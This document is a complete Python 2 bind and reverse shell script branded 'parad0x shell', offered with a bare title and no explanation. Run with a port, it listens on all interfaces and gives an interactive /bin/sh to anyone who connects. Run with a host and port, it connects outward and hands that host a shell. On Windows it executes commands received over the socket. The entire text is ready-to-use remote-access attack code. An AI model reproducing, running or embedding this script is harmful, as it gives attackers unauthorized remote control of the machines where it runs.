Bind Shell Phyton 2

#!/usr/bin/env python
# bind shell
import re,subprocess,os,sys,socket,time
p=""
h=""
def shell(c):
    proc=subprocess.Popen(c,shell=True,stdout=subprocess.PIPE,stderr=subprocess.PIPE,stdin=subprocess.PIPE)
    return proc.stdout.read()+proc.stderr.read()+prompt()

def action(c):
    if os.name!="nt":
        f=c.fileno()
        os.system("export TERM=xterm;PS1='$PWD>';export PS1;/bin/sh -i <&"+str(f)+" >&"+str(f)+" 2>&"+str(f))
    else:
        while True:
            try:
                r=c.recv(1024)
            except:
                pass
            else:
                if len(r)>0:
                    b=re.search("cd\ ([^\s]+)",r,flags=re.IGNORECASE)
                    if b:
                        if os.path.isdir(b.group(1)):
                            os.chdir(b.group(1))
                        c.send(prompt())
                    else:
                        out=shell(r)
                        if out and len(out)>0:c.send(out)
                else: return False

def prompt():
    return "\n"+os.getcwd()+">"
g=sys.argv
if len(g)==2:
    p=g[1]
elif len(g)==3:
    p=g[1]
    h=g[2]
else:exit(1)
p=int(p)
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
if len(g)==2:
    s.bind(("0.0.0.0",p))
    s.listen(5)
if len(g)==3:
    try: s.connect((h,p))
    except:
        time.sleep(5)
    else:
        if os.name!="nt":
            s.send("parad0x shell : connected\n")
        else:
            s.send("parad0x shell : connected"+prompt())
        action(s)
else:
    try:(c,a)=s.accept()
    except:
        time.sleep(1)
    else:
        if os.name!="nt":
            c.send("parad0x shell : connected\n")
        else:
            c.send("parad0x shell : connected"+prompt())
        action(c)